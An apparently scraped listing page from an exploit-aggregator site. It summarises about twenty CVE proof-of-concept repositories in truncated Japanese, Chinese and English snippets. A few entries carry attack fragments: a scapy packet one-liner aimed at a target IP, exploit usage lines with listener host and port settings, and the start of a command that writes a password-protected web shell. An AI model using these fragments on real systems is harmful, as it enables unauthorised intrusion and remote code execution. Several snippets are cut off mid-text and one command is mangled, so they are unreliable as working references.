node-cve-2018-4407

node-cve-2018-4407 CVE-2018-4407 用の Node.js PoC エクスプロイトコード 著者: Sam Decrock このスクリプトは Zuk が提供した scapy スクリプトに基づいています。 iOS 12 / OS X Remote Kernel Heap Overflow CVE-2018-4407 POC をツイートで: pip install scapy sudo scapy sendIPdst=“Target IP“,options=IPOption“A”8/TCPdport=2323,options=19, “1"18,19, “2”18 ...

CVE-2018-7600

Drupal-CVE-2018-7600 使用方法: root@kitploit: python3 exploitdrupalcve-2018-7600.py...

vmacache_CVE-2018-17182

エクスプロイト リモート & ローカル エクスプロイト...

CVE-2012-2982-Webmin-Exploit

Webmin 1.590 リモートコマンド実行エクスプロイト CVE-2012-2982 概要 このリポジトリには、Webmin バージョン 1.590 以前 に影響するリモート認証済みコマンド実行の脆弱性である CVE-2012-2982 の Proof-of-Concept PoC エクスプロイトが含まれています。この脆弱性は /file/show.cgi エンドポイントに存在し、攻撃者は操作したリクエストに特殊文字（| パイプ記号など）を注入することで任意のコマンドを実行できます。 本 PoC は教育およびセキュリティ研究目的のみ...

CVE-2026-0163-EXP

CVE-2026-0163 免責事項 このリポジトリは教育および研究目的のみで提供されます。 著作者は、この資料の使用によって生じる不正使用、損害、または違法行為について一切の責任を負いません。 使用は自己責任で行ってください。 適用される法律および倫理ガイドラインを尊重してください。 概要 CVE-2026-0163（Google Android VPU vpuioctl.c における Use After Free）に対する実用的なリモートエクスプロイトです。脆弱なデバイス上でルート権限への昇格を伴う任意のコード実行を実現します。追加の権限やユーザーの操作は不要です。本番環境での...

CVE-2019-0604

一、k8gegeのcve-2019-0604-exp.pyを解説 k8gegeのスクリプト https://github.com/k8gege/CVE-2019-0604 正直言って、k8gegeのpyスクリプトは少し派手で、大量の16進数文字列があり、payload1,2,3に分かれています。悪質ですね。 pythonスクリプトがリモートPOSTするpayloadは、逆シリアル化後にXMLデータボディになります。 root@kitploit: cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var...

cookbook-bash-CVE-2014-6271

bash-CVE-2014-6271 Cookbook 此 Chef cookbook 包含一个默认 recipe，如果发现 bash 且该 bash 存在 CVE-2014-6271 中描述的远程利用漏洞，它将使你的 Chef 运行失败。查找 bash 的位置可在 node'bash-CVE-2014-6271''bashes' 属性中配置（见下文）。 系统要求 应适用于任何 UNIX/Linux。如有问题请报告（最好附上补丁）。 属性 node'bash-CVE-2014-6271''bashes' - 一个必需的数组，包含待检测漏洞的可能 bash 可执行文件。默认为...

Remote-buffer-overflow-over-wifi_stack-in-wpa_supplicant-binary-in-android-11-platform-samsung-a20e

Remote-buffer-overflow-over-wifistack-in-wpasupplicant-binary-in-android-11-platform-samsung-a20e android 11 の wpasupplicant バイナリにおける wifistack 経由のリモートバッファオーバーフロー。プラットフォーム: samsung a20e。ストック設定なので、そのまま動作します。...

EternalBlue-Exploit-Demonstration-MS17-010

EternalBlue エクスプロイト実演 MS17-010 CVE-2017-0144 EternalBlue を Metasploit を使用して脆弱な Windows 7 システムに対して悪用し、Meterpreter 経由で SYSTEM レベルのアクセスを達成するサイバーセキュリティラボ。 このプロジェクトは、WannaCry 型ランサムウェア攻撃のシミュレーション安全なデモも行い、MS17-010 セキュリティパッチによる緩和策を実演します。 モジュール情報 モジュール: CSCM828 セキュリティ脆弱性とペネトレーションテスト 学生: Daniel Nicolas...

CVE-2026-92880

A weakness has been identified in vgmstream up to r2117. Impacted is the function vadpcmreadcoefsbe of the file src/coding/vadpcmdecoder.c of the component EA SCHl parser. This manipulation of the argument entry/entries causes out-of-bounds write. Remote exploitation of the attack is possible...

CVE-2026-4747-

CVE-2026-4747: FreeBSD リモートカーネルRCE AIによって発見され、悪用された初のリモートカーネルエクスプロイト 📋 クイックサマリー...

CVE-2023-38632

CVE-2023-38632 async-sockets-cpp 0.3.1 までには、tcpsocket.hpp の 102～110 行目にある static void ReceiveTCPSocket socket にリモートバッファオーバーフローの脆弱性があります。このバッファオーバーフローは、該当するすべての TCP サーバーに影響します。このリモートバッファオーバーフローは、ソケットに接続して大きなバイト列のバッファを送信することで誘発されます。 root@kitploit: while messageLength = recvsocket-sock, tempBuffer,...

Samba-Usermap-exploit

CVE-2007-2447 - Samba usermap エクスプロイト。 使用方法: root@kitploit: $ python3 exploit.py RHOST -- 対象アドレス RPORT -- 対象ポート TCP : 139 LHOST -- リッスンアドレス LPORT -- リッスンポート インストール root@kitploit: git clone https://github.com/Nosferatuvjr/Samba-Usermap-exploit pip install -r requirements.txt...

CVE-2022-31269

CVE-2022-31269 Nortek Control Linear eMerge E3-Series 情報漏えい オプション引数: -h, --help show this help message and exit -u url, --url url Target url eg:"http://127.0.0.1" -f file, --file file Targets in file eg:"ip.txt" 使用方法 python3 CVE-2022-31269.py -u http://127.0.0.1 python3 CVE-2022-31269.py -f ip.tx...

CVE-2007-2447

Sambaster cve-2007-2447 Samba 3.0.20 必要なモジュール: root@kitploit: pysmb インストールしていない場合: root@kitploit: pip3 install pysmb 使用方法: root@kitploit: python3 sambaster.py...

Exim-CVE-2018-6789

Exim CVE-2018-6789 CVE-2018-6789を悪用するためのPoC資料。PoCを説明するブログ記事はSynacktiv ブログで入手可能です。 このPoCは脆弱なEximサーバーに接続し、CVE-2018-6789を悪用します。 使用方法 root@kitploit: usage: exploit -hv options: -h, --help Print this help -v, --verbose Enable verbose output...

CVE-2026-57012

In the Setup Wizard, there is a possible remote package install due to a missing permission check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation...

CVE-2020-1971

CVE-2020-1971 CVE-2020-1971 Auto Scan & Remote Exploit Script. Auto Local Scan & Patch Script. Currently in development Patched Source Code of OpenSSL 1.1.1i Install from source/Update .deb Script Currently in development 5:38pm Completed 5:50pm Install from source/Update Windows Currently in...

EUVD-2026-78301

A security vulnerability has been detected in GPAC up to f1219cde. Affected by this issue is the function mpgviddmxprocess of the file filters/reframempgvid.c of the component MPEG Video Reframer. Such manipulation leads to heap-based buffer overflow. The attack can be executed remotely. The...

CVE-2026-91005

SourceCodester Online Faculty Clearance System 1.0 is vulnerable to an unrestricted file upload in the Profile Picture Upload component. The flaw resides in the move_uploaded_file function within production/edit_picture.php , where manipulation of the File argument allows an attacker to upload ar...